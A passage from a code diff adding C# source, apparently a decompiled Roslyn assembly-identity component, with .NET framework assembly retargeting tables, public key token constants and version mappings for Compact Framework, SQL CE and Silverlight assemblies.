(!TryGetValue(key, out List value)) + { + Add(key, value = new List()); + } + value.Add(new Value(versionLow, default(AssemblyVersion), newName, newPublicKeyToken, newVersion, isPortable: false)); + } + + public void Add(string name, ImmutableArray publicKeyToken, AssemblyVersion versionLow, AssemblyVersion versionHigh, string newName, ImmutableArray newPublicKeyToken, AssemblyVersion newVersion, bool isPortable) + { + Key key = new Key(name, publicKeyToken); + if (!TryGetValue(key, out List value)) + { + Add(key, value = new List()); + } + value.Add(new Value(versionLow, versionHigh, newName, newPublicKeyToken, newVersion, isPortable)); + } + + public bool TryGetValue(AssemblyIdentity identity, out Value value) + { + if (!TryGetValue(new Key(identity.Name, identity.PublicKeyToken), out List value2)) + { + value = default(Value); + return false; + } + for (int i = 0; i < value2.Count; i++) + { + value = value2[i]; + AssemblyVersion assemblyVersion = (AssemblyVersion)identity.Version; + if (value.VersionHigh.Major == 0) + { + if (assemblyVersion == value.VersionLow) + { + return true; + } + } + else if (assemblyVersion >= value.VersionLow && assemblyVersion <= value.VersionHigh) + { + return true; + } + } + value = default(Value); + return false; + } + } + + internal readonly AssemblyPortabilityPolicy policy; + + private static readonly ImmutableArray s_NETCF_PUBLIC_KEY_TOKEN_1 = ImmutableArray.Create(new byte[8] { 28, 158, 37, 150, 134, 249, 33, 224 }); + + private static readonly ImmutableArray s_NETCF_PUBLIC_KEY_TOKEN_2 = ImmutableArray.Create(new byte[8] { 95, 213, 124, 84, 58, 156, 2, 71 }); + + private static readonly ImmutableArray s_NETCF_PUBLIC_KEY_TOKEN_3 = ImmutableArray.Create(new byte[8] { 150, 157, 184, 5, 61, 51, 34, 172 }); + + private static readonly ImmutableArray s_SQL_PUBLIC_KEY_TOKEN = ImmutableArray.Create(new byte[8] { 137, 132, 93, 205, 128, 128, 204, 145 }); + + private static readonly ImmutableArray s_SQL_MOBILE_PUBLIC_KEY_TOKEN = ImmutableArray.Create(new byte[8] { 59, 226, 53, 223, 28, 141, 42, 211 }); + + private static readonly ImmutableArray s_ECMA_PUBLICKEY_STR_L = ImmutableArray.Create(new byte[8] { 183, 122, 92, 86, 25, 52, 224, 137 }); + + private static readonly ImmutableArray s_SHAREDLIB_PUBLICKEY_STR_L = ImmutableArray.Create(new byte[8] { 49, 191, 56, 86, 173, 54, 78, 53 }); + + private static readonly ImmutableArray s_MICROSOFT_PUBLICKEY_STR_L = ImmutableArray.Create(new byte[8] { 176, 63, 95, 127, 17, 213, 10, 58 }); + + private static readonly ImmutableArray s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L = ImmutableArray.Create(new byte[8] { 124, 236, 133, 215, 190, 167, 121, 142 }); + + private static readonly ImmutableArray s_SILVERLIGHT_PUBLICKEY_STR_L = ImmutableArray.Create(new byte[8] { 49, 191, 56, 86, 173, 54, 78, 53 }); + + private static readonly ImmutableArray s_RIA_SERVICES_KEY_TOKEN = ImmutableArray.Create(new byte[8] { 221, 208, 218, 77, 62, 103, 130, 23 }); + + private static readonly AssemblyVersion s_VER_VS_COMPATIBILITY_ASSEMBLYVERSION_STR_L = new AssemblyVersion(8, 0, 0, 0); + + private static readonly AssemblyVersion s_VER_VS_ASSEMBLYVERSION_STR_L = new AssemblyVersion(10, 0, 0, 0); + + private static readonly AssemblyVersion s_VER_SQL_ASSEMBLYVERSION_STR_L = new AssemblyVersion(9, 0, 242, 0); + + private static readonly AssemblyVersion s_VER_LINQ_ASSEMBLYVERSION_STR_L = new AssemblyVersion(3, 0, 0, 0); + + private static readonly AssemblyVersion s_VER_LINQ_ASSEMBLYVERSION_STR_2_L = new AssemblyVersion(3, 5, 0, 0); + + private static readonly AssemblyVersion s_VER_SQL_ORCAS_ASSEMBLYVERSION_STR_L = new AssemblyVersion(3, 5, 0, 0); + + private static readonly AssemblyVersion s_VER_ASSEMBLYVERSION_STR_L = new AssemblyVersion(4, 0, 0, 0); + + private static readonly AssemblyVersion s_VER_VC_STLCLR_ASSEMBLYVERSION_STR_L = new AssemblyVersion(2, 0, 0, 0); + + private const string NULL = null; + + private const bool TRUE = true; + + private static readonly FrameworkRetargetingDictionary s_arRetargetPolicy = new FrameworkRetargetingDictionary + { + { + "System", + s_ECMA_PUBLICKEY_STR_L, + new AssemblyVersion(1, 0, 0, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Xml", + s_ECMA_PUBLICKEY_STR_L, + new AssemblyVersion(1, 0, 0, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_1, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Drawing", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Web.Services", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Xml", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Drawing", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Web.Services", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Xml", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.VisualBasic", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(7, 0, 5000, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_VS_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_1, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Drawing", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Web.Services", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Xml", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Drawing", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Web.Services", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Xml", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.VisualBasic", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(7, 0, 5500, 0), + null, + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_VS_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.WindowsCE.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_1, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_NETCF_PUBLIC_KEY_TOKEN_3, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.WindowsCE.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_1, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_NETCF_PUBLIC_KEY_TOKEN_3, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.WindowsCE.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_NETCF_PUBLIC_KEY_TOKEN_3, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.WindowsCE.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_2, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_NETCF_PUBLIC_KEY_TOKEN_3, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.WindowsCE.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + null, + s_NETCF_PUBLIC_KEY_TOKEN_3, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.WindowsCE.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + null, + s_NETCF_PUBLIC_KEY_TOKEN_3, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlClient", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlClient", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.Common", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.Common", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms.DataGrid", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5000, 0), + null, + "System.Windows.Forms", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms.DataGrid", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(1, 0, 5500, 0), + null, + "System.Windows.Forms", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Xml", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Drawing", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Web.Services", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Messaging", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlClient", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.Common", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms.DataGrid", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(2, 0, 0, 0), + new AssemblyVersion(2, 0, 10, 0), + "System.Windows.Forms", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.VisualBasic", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(8, 0, 0, 0), + new AssemblyVersion(8, 0, 10, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_VS_ASSEMBLYVERSION_STR_L + }, + { + "System", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Xml", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Drawing", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Web.Services", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Messaging", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlClient", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Windows.Forms.DataGrid", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + "System.Windows.Forms", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "Microsoft.VisualBasic", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(8, 1, 0, 0), + new AssemblyVersion(8, 1, 5, 0), + "Microsoft.VisualBasic", + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_VS_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlClient", + s_SQL_MOBILE_PUBLIC_KEY_TOKEN, + new AssemblyVersion(3, 5, 0, 0), + null, + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlServerCe", + s_SQL_MOBILE_PUBLIC_KEY_TOKEN, + new AssemblyVersion(3, 5, 0, 0), + null, + null, + s_SQL_PUBLIC_KEY_TOKEN, + s_VER_SQL_ORCAS_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlServerCe", + s_SQL_MOBILE_PUBLIC_KEY_TOKEN, + new AssemblyVersion(3, 5, 1, 0), + new AssemblyVersion(3, 5, 200, 999), + null, + s_SQL_PUBLIC_KEY_TOKEN, + s_VER_SQL_ORCAS_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlClient", + s_SQL_MOBILE_PUBLIC_KEY_TOKEN, + new AssemblyVersion(3, 0, 3600, 0), + null, + "System.Data", + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L + }, + { + "System.Data.SqlServerCe", + s_SQL_MOBILE_PUBLIC_KEY_TOKEN, + new AssemblyVersion(3, 0, 3600, 0), + null, + null, + s_SQL_PUBLIC_KEY_TOKEN, + s_VER_SQL_ASSEMBLYVERSION_STR_L + }, + { + "system.xml.linq", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_LINQ_ASSEMBLYVERSION_STR_2_L + }, + { + "system.data.DataSetExtensions", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_LINQ_ASSEMBLYVERSION_STR_2_L + }, + { + "System.Core", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_LINQ_ASSEMBLYVERSION_STR_2_L + }, + { + "System.ServiceModel", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_LINQ_ASSEMBLYVERSION_STR_L + }, + { + "System.Runtime.Serialization", + s_NETCF_PUBLIC_KEY_TOKEN_3, + new AssemblyVersion(3, 5, 0, 0), + new AssemblyVersion(3, 9, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_LINQ_ASSEMBLYVERSION_STR_L + }, + { + "mscorlib", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.ComponentModel.Composition", + s_SILVERLIGHT_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.ComponentModel.DataAnnotations", + s_RIA_SERVICES_KEY_TOKEN, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_SHAREDLIB_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Core", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Net", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Numerics", + s_SILVERLIGHT_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "Microsoft.CSharp", + s_SILVERLIGHT_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Runtime.Serialization", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.ServiceModel", + s_SILVERLIGHT_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.ServiceModel.Web", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_SHAREDLIB_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Xml", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Xml.Linq", + s_SILVERLIGHT_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Xml.Serialization", + s_SILVERLIGHT_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_ECMA_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + }, + { + "System.Windows", + s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L, + new AssemblyVersion(2, 0, 5, 0), + new AssemblyVersion(99, 0, 0, 0), + null, + s_MICROSOFT_PUBLICKEY_STR_L, + s_VER_ASSEMBLYVERSION_STR_L, + true + } + }; + + private static readonly FrameworkAssemblyDictionary s_arFxPolicy = new FrameworkAssemblyDictionary + { + { "Accessibility", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "CustomMarshalers", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "ISymWrapper", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.JScript", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_VS_ASSEMBLYVERSION_STR_L }, + { "Microsoft.VisualBasic", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_VS_ASSEMBLYVERSION_STR_L }, + { "Microsoft.VisualBasic.Compatibility", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_VS_ASSEMBLYVERSION_STR_L }, + { "Microsoft.VisualBasic.Compatibility.Data", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_VS_ASSEMBLYVERSION_STR_L }, + { "Microsoft.VisualC", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_VS_ASSEMBLYVERSION_STR_L }, + { "mscorlib", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Configuration", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Configuration.Install", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.OracleClient", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.SqlXml", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Deployment", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Design", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.DirectoryServices", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.DirectoryServices.Protocols", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Drawing", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Drawing.Design", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.EnterpriseServices", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Management", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Messaging", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Remoting", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Serialization.Formatters.Soap", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Security", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceProcess", s_MICROSOFT_PUBLICKEY_STR_L, 